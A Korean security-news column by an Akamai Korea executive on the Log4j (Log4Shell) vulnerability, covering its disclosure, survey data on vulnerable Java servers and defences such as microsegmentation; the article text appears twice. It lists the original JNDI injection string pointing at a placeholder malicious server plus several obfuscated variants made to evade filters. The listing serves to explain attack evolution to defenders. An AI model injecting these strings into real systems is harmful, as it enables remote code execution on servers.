.jpg)
Log4j 취약점, 2021년 11월 처음 공개된 후 엄청난 공격에 활용중
모든 Java 서버의 약 3분의 2가 여전히 취약해... 가시성 확보해 효과적으로 대응해야
[보안뉴스=한준형 아카마이 코리아 상무] 2021년 11월 24일, 아파치 파운데이션(Apache Foundation)은 Log4j의 보안 취약점(비인증 원격 코드 실행 및 데이터 유출 CVE-2021-44228)에 대해 비공개 통보를 받았다. 2013년부터 존재한 이 취약점은 이후 대중에게 공개되기까지 12일 동안 문제 해결을 위해 소스코드 변경이 도입되었고, 2021년 12월 9일, 대중에 공개됐다. 하지만 이후 놀라운 속도로 증가하는 해당 취약점에 대한 악용 시도는 우리 모두를 놀라게 했다. 심지어 트위터에 최초 알려진 제로데이 취약점 이후, CVE에 번호가 할당되기도 전에 취약 서버를 찾기 위해 인터넷 전체를 스캔하는 서버들도 리포팅이 됐다.
Log4j는 Java기반의 무료 오픈소스 로깅 유틸리티여서 수많은 기업들이 사용하며, 특히나 여러 표현식(expression)의 중복 사용이 가능하고 JNDI(Java Naming and Directory Interface, 자바 네이밍 디렉터리 인터페이스), 룩업(lookups) 및 네스팅(nesting) 등의 방법이 손쉬워 가장 흔히 사용된다는 점에서 이 취약점은 상당히 우려스러웠다. 과학기술정보통신부는 사건을 인지하자마자 서버를 사용하는 조직에 빠른 조치와 긴급 보안 업데이트를 권고하기도 했다.
아카마이 역시 기존 아파치 규칙의 업데이트를 배포하고 Adaptive Security Engine(적응형 자동 보안 엔진)을 통해 이 취약점에 대비할 수 있는 업데이트를 제공했다. 이후 국내 주요 기업 및 단체는 Log4j의 영향을 완화하고 정보를 공유하기 위해 노력했다. 한국인터넷진흥원은 Log4j 취약점 정보를 지속적으로 업데이트하고 웹사이트에 관련 내용을 공시함으로써 보안 담당자가 참고하여 즉각적인 조치를 취할 수 있도록 했다.
그러나 과학기술정보통신부가 2021년도 사이버 위협과 2022년 전망을 분석한 최근 보고서에 따르면, 공격자들은 공급망 공격의 초기 진입점으로 소프트웨어의 취약점을 지속적으로 악용할 것으로 예상된다고 한다. 또한 사이버 범죄가 진화함에 따라 Java와 같이 널리 사용되는 소프트웨어의 취약점을 활용하는 공격이 정교해질 것으로 예상된다. 안타깝게도 Log4j는 전 세계적으로 널리 사용되는 프레임워크와 Java 애플리케이션에 통합됨에 따라 전 세계 조직은 끝나지 않은 사이버 위협에 대응해야 한다.
Log4j 취약점은 왜 치명적인가
아카마이는 Java가 조직 간에 얼마나 널리 퍼져 있는지 이해하기 위해 전 세계 200여 곳의 다양한 데이터센터 및 분야의 대규모 데이터를 수집했다. 그리고 각 데이터센터에서 인터넷 기반 서버와 네트워크 연결을 허용하는 Java 실행 서버를 식별했다. Java 프로세스(java[.]exe, Linux용 java, javaw 등)와 Java 가상 시스템을 자체 메모리에 로드하는 프로세스도 모두 포함해 고려했다.
해당조사의 대상 환경에서 우리는 Log4Shell 공격에 취약한 서버를 많이 발견했다. 실제로 이러한 환경에서는 모든 Java 서버의 3분의 2가 취약한 Log4j를 포함한다는 사실을 알게 되었으며, 일부 환경에서는 90% 이상이 취약했다. 이는 우리의 예상을 뛰어넘는 수치로, 취약점이 얼마나 광범위하게 퍼져 있는지 그 안타까운 현실을 보여준다.
또 다른 테스트에서는, 조사 대상 환경의 100% 모두 패치가 적용되지 않은 상태에서는 적어도 하나의 서버가 Log4Shell에 취약한 것으로 나타났으며, 이는 패치가 적용되기 전 얼마나 위험성이 큰지를 보여준다. 다행히도 패치가 배포되면 취약한 환경의 수가 줄어드는 것을 확인할 수 있다. 하지만 대규모 환경에서는 취약한 서버가 소수에 불과하더라도 이들이 공격면으로 활용되어 심각한 결과를 초래할 수 있으므로 유의해야 한다.
Log4j가 널리 보급되면서 좀처럼 보기 힘든 규모로 순식간에 널리 확산됐다. 모든 Java 서버의 약 3분의 2가 여전히 취약하다는 사실은, IT 및 보안팀이 로깅 유틸리티를 사용할 수 있는 위치를 파악하고 방어 계획을 세우기 위해 노력해야 한다는 뜻이다.
위의 그래프에서 알 수 있듯이 이 취약점을 노린 공격은 전 세계를 위협했으며, 공격에 사용된 IP는 다이내믹하게 변화해왔다. 공격은 모든 산업을 위협했으나, 상업 분야가 독보적이었다. 안타깝게도 기업의 보안팀은 취약점 개선 작업에 시간이 오래 걸릴 것이라는 것을 인지하고 있으나, 대부분 취약한 시스템에 대한 가시성조차 확보하지 못하고 있는 것이 현실이다.
또한, 굉장한 속도로 진화하는 변형 공격들이 탐지되었다. 초기 공격 경로는 다음과 같았다.
· ${jndi:ldap://malicious_server_address/}
이후, JNDI의 장점인 룩업과 네스팅으로 아래와 같이 진화했다.
· $%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
· ${jndi:rmi:// and ${jndi:dns://
· ${${lower:j}ndi: and ${${upper:j}ndi:
· ${${lower:jnd}i:
· ${${x:-j}ndi:
· ${${:-j}ndi: and ${${::::::-j}ndi:
이는 해커 집단에서 얼마나 빠르게 취약점 패치의 내용을 파악하고, 이를 우회하는 공격을 테스트하고 공유했는지를 여실히 나타낸다. 나아가 미라이 봇넷(Mirai Botnet)이 CVE-2021-44228에 접목해 공격을 시도하려는 것을 확인할 수 있었으며, DNS 터널링으로 C2통신을 숨긴 시도 역시 확인할 수 있었다.
사실 아카마이 역시 많은 보안 업체들과 협업해 전대미문의 취약점에 빠르게 대응했다. 이 과정에서 지난 2021년 12월 17일, 아카마이 직원 히데키 오카모토(Hideki Okamoto)는 Log4j의 또 다른 취약점인 CVE-2021-45105을 최초로 발견하고 보고해, 각 업체들이 빠른 대응할 수 있도록 도왔다.
마이크로세그멘테이션으로 보안 강화
많은 조직은 Log4j 취약점이 초래한 영향을 평가하고 완화 전략을 구축하기 위해 서두르며 대혼란을 겪었다. 그러나 앞으로도 이러한 유형의 취약점은 계속 존재할 뿐만 아니라 빈도와 피해 범위도 계속 확대될 것이다. 따라서 사후 대응적 보안으로 어느 정도 보호할 수 있지만, 마이크로세그멘테이션(Microsegmentation) 솔루션과 같은 선제적 보안 방법을 활용하는 것이 중요하다.
마이크로세그멘테이션 기술은 기업을 개별 소프트웨어 및 워크로드 수준까지 별개의 보안 세그멘트로 논리적으로 나누고, 각각에 대해 잘 정의된 보안 제어를 제공한다. 이 접근 방식은 동서(east-west) 이동을 통해 기업 전체에 확산되는 멀웨어(Malware) 문제를 해결한다. 선체에 균열이 발생할 경우 함내의 방수 차단벽이 인접 객실의 침수를 방지하는 것과 같이, 마이크로세그멘테이션은 멀웨어 공격으로 인한 ‘영향력 반경’을 억제해 측면 확산을 크게 제한한다. 단순한 개념으로 보이지만 이를 구현하는 것은 매우 어려운 일이다. 최신 네트워크가 극도로 이질적이며 지속적으로 변화하고 있기 때문이다. 가상화, 컨테이너화 및 기타 최신 소프트웨어 배치 방식은 워크로드가 데이터센터 내, 그리고 데이터 센터와 클라우드 간 경계를 가로질러 지속적으로 진화하고 있음을 의미한다.
마이크로세그멘테이션은 Log4j 취약점이 있을 가능성이 있는 시스템을 격리하고 악용 시도로부터 보호하며 성공적으로 해킹된 시스템이 다른 시스템을 공격하지 못하도록 방어함으로써 공격 표면을 대폭 줄일 수 있는 방법을 제공한다. 공격자가 인터넷을 검색해 취약한 서버와 애플리케이션을 찾는 것은 잘 알려진 사실이다. 이후 공격자는 입력 채널을 사용해 악성 코드를 심는다. 따라서 공격면을 줄이는 것이 매우 중요하다. 또한, 네트워크를 분할하면 취약한 서버를 격리할 수 있어 더욱 가치 있는 자산에 대한 보호를 강화할 수 있다.
향후 Log4j 취약점 악용 대비를 위한 권장사항
아카마이는 2021년 12월 9일에 Log4j 취약점을 악용한 보안 위협을 처음 관측했지만 수개월 전부터 이 취약점이 악용되었을지도 모른다는 증거를 확인했다. 지금까지 확인된 공격의 절반 이상(~57%)은 이전에 아카마이의 위협 인텔리전스 데이터베이스(Threat Intelligence Database)에서 악의적 행위자로 분류된 공격자로부터 발생했다.
점점 더 많은 시스템과 소프트웨어가 타사 코드로 이루어진 레이어 위에 구성됨에 따라, 기업조직은 앞으로 특정 라이브러리나 파트너의 리스크를 평가할 뿐만 아니라 해당 개발 커뮤니티나 벤더를 확인해 종속성 역시 면밀히 평가하게 하도록 해야 한다. 또한, 이러한 리스크를 평가하더라도 취약점은 발생할 것이라는 것을 인지해야 한다. 중요한 것은 상황을 더 효과적으로 해결할 수 방법이지 상황을 완전히 막을 수 있는 방법이 아니다. 이를 위해서는 가시성 확보가 매우 중요하다. 많은 조직이 어떤 시스템이 영향을 받는지 모르기 때문에 패치를 적용하는데 어려움을 겪고 있다. 기업은 데이터센터와 클라우드에서 실행되는 데이터를 파악할 수 있는 시스템을 갖춰야 한다. 가시성이 보다 포괄적이고 정확하면 조직은 더 빨리 대응하고 필요 자산에 패치를 적용할 수 있다.
마지막으로 조직은 최소 권한 원칙을 완전히 수용해야 한다. 서버, 컴퓨터, 소프트웨어를 봉쇄하여 작업을 수행하는 데 필요한 시스템에만 접근을 허용해야 한다. 관리 중인 모든 시스템과 소프트웨어에 최소 권한 원칙을 적용하면 취약점이 발생할 때 위협면을 크게 줄일 수 있으며, 대부분의 경우 영향을 받기 전에 공격 체인을 중지할 수 있다.
Log4j 취약점은 전 세계 조직에게 복잡하고 위험한 상황을 제시한다. 우리는 앞으로도 광범위한 위협 표면과 패치되지 않은 시스템으로 인해 공격 시도가 표면화되고 그 과정에서 많은 기업과 조직이 영향을 받는 것을 보게 될 것이다. 그러나 보안 시스템 강화를 위해 노력하는 기업은 그 어느 때보다 빠르게 회복할 것이다.
[글_한준형 아카마이 코리아 상무]
모든 Java 서버의 약 3분의 2가 여전히 취약해... 가시성 확보해 효과적으로 대응해야
[보안뉴스=한준형 아카마이 코리아 상무] 2021년 11월 24일, 아파치 파운데이션(Apache Foundation)은 Log4j의 보안 취약점(비인증 원격 코드 실행 및 데이터 유출 CVE-2021-44228)에 대해 비공개 통보를 받았다. 2013년부터 존재한 이 취약점은 이후 대중에게 공개되기까지 12일 동안 문제 해결을 위해 소스코드 변경이 도입되었고, 2021년 12월 9일, 대중에 공개됐다. 하지만 이후 놀라운 속도로 증가하는 해당 취약점에 대한 악용 시도는 우리 모두를 놀라게 했다. 심지어 트위터에 최초 알려진 제로데이 취약점 이후, CVE에 번호가 할당되기도 전에 취약 서버를 찾기 위해 인터넷 전체를 스캔하는 서버들도 리포팅이 됐다.
▲시간당 Log4j 취약점을 노린 공격 시도[자료=아카마이 코리아]
Log4j는 Java기반의 무료 오픈소스 로깅 유틸리티여서 수많은 기업들이 사용하며, 특히나 여러 표현식(expression)의 중복 사용이 가능하고 JNDI(Java Naming and Directory Interface, 자바 네이밍 디렉터리 인터페이스), 룩업(lookups) 및 네스팅(nesting) 등의 방법이 손쉬워 가장 흔히 사용된다는 점에서 이 취약점은 상당히 우려스러웠다. 과학기술정보통신부는 사건을 인지하자마자 서버를 사용하는 조직에 빠른 조치와 긴급 보안 업데이트를 권고하기도 했다.
▲Log4j 주요 타임라인[자료=아카마이 코리아]
아카마이 역시 기존 아파치 규칙의 업데이트를 배포하고 Adaptive Security Engine(적응형 자동 보안 엔진)을 통해 이 취약점에 대비할 수 있는 업데이트를 제공했다. 이후 국내 주요 기업 및 단체는 Log4j의 영향을 완화하고 정보를 공유하기 위해 노력했다. 한국인터넷진흥원은 Log4j 취약점 정보를 지속적으로 업데이트하고 웹사이트에 관련 내용을 공시함으로써 보안 담당자가 참고하여 즉각적인 조치를 취할 수 있도록 했다.
그러나 과학기술정보통신부가 2021년도 사이버 위협과 2022년 전망을 분석한 최근 보고서에 따르면, 공격자들은 공급망 공격의 초기 진입점으로 소프트웨어의 취약점을 지속적으로 악용할 것으로 예상된다고 한다. 또한 사이버 범죄가 진화함에 따라 Java와 같이 널리 사용되는 소프트웨어의 취약점을 활용하는 공격이 정교해질 것으로 예상된다. 안타깝게도 Log4j는 전 세계적으로 널리 사용되는 프레임워크와 Java 애플리케이션에 통합됨에 따라 전 세계 조직은 끝나지 않은 사이버 위협에 대응해야 한다.
Log4j 취약점은 왜 치명적인가
아카마이는 Java가 조직 간에 얼마나 널리 퍼져 있는지 이해하기 위해 전 세계 200여 곳의 다양한 데이터센터 및 분야의 대규모 데이터를 수집했다. 그리고 각 데이터센터에서 인터넷 기반 서버와 네트워크 연결을 허용하는 Java 실행 서버를 식별했다. Java 프로세스(java[.]exe, Linux용 java, javaw 등)와 Java 가상 시스템을 자체 메모리에 로드하는 프로세스도 모두 포함해 고려했다.
▲Java 서버 이용 현황[자료=아카마이]
해당조사의 대상 환경에서 우리는 Log4Shell 공격에 취약한 서버를 많이 발견했다. 실제로 이러한 환경에서는 모든 Java 서버의 3분의 2가 취약한 Log4j를 포함한다는 사실을 알게 되었으며, 일부 환경에서는 90% 이상이 취약했다. 이는 우리의 예상을 뛰어넘는 수치로, 취약점이 얼마나 광범위하게 퍼져 있는지 그 안타까운 현실을 보여준다.
또 다른 테스트에서는, 조사 대상 환경의 100% 모두 패치가 적용되지 않은 상태에서는 적어도 하나의 서버가 Log4Shell에 취약한 것으로 나타났으며, 이는 패치가 적용되기 전 얼마나 위험성이 큰지를 보여준다. 다행히도 패치가 배포되면 취약한 환경의 수가 줄어드는 것을 확인할 수 있다. 하지만 대규모 환경에서는 취약한 서버가 소수에 불과하더라도 이들이 공격면으로 활용되어 심각한 결과를 초래할 수 있으므로 유의해야 한다.
Log4j가 널리 보급되면서 좀처럼 보기 힘든 규모로 순식간에 널리 확산됐다. 모든 Java 서버의 약 3분의 2가 여전히 취약하다는 사실은, IT 및 보안팀이 로깅 유틸리티를 사용할 수 있는 위치를 파악하고 방어 계획을 세우기 위해 노력해야 한다는 뜻이다.
▲공격 대상 국가[자료=아카마이]
▲취약점 공격 시도 IP분포[자료=아카마이]
위의 그래프에서 알 수 있듯이 이 취약점을 노린 공격은 전 세계를 위협했으며, 공격에 사용된 IP는 다이내믹하게 변화해왔다. 공격은 모든 산업을 위협했으나, 상업 분야가 독보적이었다. 안타깝게도 기업의 보안팀은 취약점 개선 작업에 시간이 오래 걸릴 것이라는 것을 인지하고 있으나, 대부분 취약한 시스템에 대한 가시성조차 확보하지 못하고 있는 것이 현실이다.
▲공격 대상 산업군[자료=아카마이]
또한, 굉장한 속도로 진화하는 변형 공격들이 탐지되었다. 초기 공격 경로는 다음과 같았다.
· ${jndi:ldap://malicious_server_address/}
이후, JNDI의 장점인 룩업과 네스팅으로 아래와 같이 진화했다.
· $%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
· ${jndi:rmi:// and ${jndi:dns://
· ${${lower:j}ndi: and ${${upper:j}ndi:
· ${${lower:jnd}i:
· ${${x:-j}ndi:
· ${${:-j}ndi: and ${${::::::-j}ndi:
이는 해커 집단에서 얼마나 빠르게 취약점 패치의 내용을 파악하고, 이를 우회하는 공격을 테스트하고 공유했는지를 여실히 나타낸다. 나아가 미라이 봇넷(Mirai Botnet)이 CVE-2021-44228에 접목해 공격을 시도하려는 것을 확인할 수 있었으며, DNS 터널링으로 C2통신을 숨긴 시도 역시 확인할 수 있었다.
사실 아카마이 역시 많은 보안 업체들과 협업해 전대미문의 취약점에 빠르게 대응했다. 이 과정에서 지난 2021년 12월 17일, 아카마이 직원 히데키 오카모토(Hideki Okamoto)는 Log4j의 또 다른 취약점인 CVE-2021-45105을 최초로 발견하고 보고해, 각 업체들이 빠른 대응할 수 있도록 도왔다.
마이크로세그멘테이션으로 보안 강화
많은 조직은 Log4j 취약점이 초래한 영향을 평가하고 완화 전략을 구축하기 위해 서두르며 대혼란을 겪었다. 그러나 앞으로도 이러한 유형의 취약점은 계속 존재할 뿐만 아니라 빈도와 피해 범위도 계속 확대될 것이다. 따라서 사후 대응적 보안으로 어느 정도 보호할 수 있지만, 마이크로세그멘테이션(Microsegmentation) 솔루션과 같은 선제적 보안 방법을 활용하는 것이 중요하다.
마이크로세그멘테이션 기술은 기업을 개별 소프트웨어 및 워크로드 수준까지 별개의 보안 세그멘트로 논리적으로 나누고, 각각에 대해 잘 정의된 보안 제어를 제공한다. 이 접근 방식은 동서(east-west) 이동을 통해 기업 전체에 확산되는 멀웨어(Malware) 문제를 해결한다. 선체에 균열이 발생할 경우 함내의 방수 차단벽이 인접 객실의 침수를 방지하는 것과 같이, 마이크로세그멘테이션은 멀웨어 공격으로 인한 ‘영향력 반경’을 억제해 측면 확산을 크게 제한한다. 단순한 개념으로 보이지만 이를 구현하는 것은 매우 어려운 일이다. 최신 네트워크가 극도로 이질적이며 지속적으로 변화하고 있기 때문이다. 가상화, 컨테이너화 및 기타 최신 소프트웨어 배치 방식은 워크로드가 데이터센터 내, 그리고 데이터 센터와 클라우드 간 경계를 가로질러 지속적으로 진화하고 있음을 의미한다.
마이크로세그멘테이션은 Log4j 취약점이 있을 가능성이 있는 시스템을 격리하고 악용 시도로부터 보호하며 성공적으로 해킹된 시스템이 다른 시스템을 공격하지 못하도록 방어함으로써 공격 표면을 대폭 줄일 수 있는 방법을 제공한다. 공격자가 인터넷을 검색해 취약한 서버와 애플리케이션을 찾는 것은 잘 알려진 사실이다. 이후 공격자는 입력 채널을 사용해 악성 코드를 심는다. 따라서 공격면을 줄이는 것이 매우 중요하다. 또한, 네트워크를 분할하면 취약한 서버를 격리할 수 있어 더욱 가치 있는 자산에 대한 보호를 강화할 수 있다.
향후 Log4j 취약점 악용 대비를 위한 권장사항
아카마이는 2021년 12월 9일에 Log4j 취약점을 악용한 보안 위협을 처음 관측했지만 수개월 전부터 이 취약점이 악용되었을지도 모른다는 증거를 확인했다. 지금까지 확인된 공격의 절반 이상(~57%)은 이전에 아카마이의 위협 인텔리전스 데이터베이스(Threat Intelligence Database)에서 악의적 행위자로 분류된 공격자로부터 발생했다.
점점 더 많은 시스템과 소프트웨어가 타사 코드로 이루어진 레이어 위에 구성됨에 따라, 기업조직은 앞으로 특정 라이브러리나 파트너의 리스크를 평가할 뿐만 아니라 해당 개발 커뮤니티나 벤더를 확인해 종속성 역시 면밀히 평가하게 하도록 해야 한다. 또한, 이러한 리스크를 평가하더라도 취약점은 발생할 것이라는 것을 인지해야 한다. 중요한 것은 상황을 더 효과적으로 해결할 수 방법이지 상황을 완전히 막을 수 있는 방법이 아니다. 이를 위해서는 가시성 확보가 매우 중요하다. 많은 조직이 어떤 시스템이 영향을 받는지 모르기 때문에 패치를 적용하는데 어려움을 겪고 있다. 기업은 데이터센터와 클라우드에서 실행되는 데이터를 파악할 수 있는 시스템을 갖춰야 한다. 가시성이 보다 포괄적이고 정확하면 조직은 더 빨리 대응하고 필요 자산에 패치를 적용할 수 있다.
마지막으로 조직은 최소 권한 원칙을 완전히 수용해야 한다. 서버, 컴퓨터, 소프트웨어를 봉쇄하여 작업을 수행하는 데 필요한 시스템에만 접근을 허용해야 한다. 관리 중인 모든 시스템과 소프트웨어에 최소 권한 원칙을 적용하면 취약점이 발생할 때 위협면을 크게 줄일 수 있으며, 대부분의 경우 영향을 받기 전에 공격 체인을 중지할 수 있다.
Log4j 취약점은 전 세계 조직에게 복잡하고 위험한 상황을 제시한다. 우리는 앞으로도 광범위한 위협 표면과 패치되지 않은 시스템으로 인해 공격 시도가 표면화되고 그 과정에서 많은 기업과 조직이 영향을 받는 것을 보게 될 것이다. 그러나 보안 시스템 강화를 위해 노력하는 기업은 그 어느 때보다 빠르게 회복할 것이다.
[글_한준형 아카마이 코리아 상무]
<저작권자: 보안뉴스(www.boannews.com) 무단전재-재배포금지>
원병철기자 기사보기
[2024-11-22] .jpg)
.jpg)
.jpg)
.jpg)
.jpg)
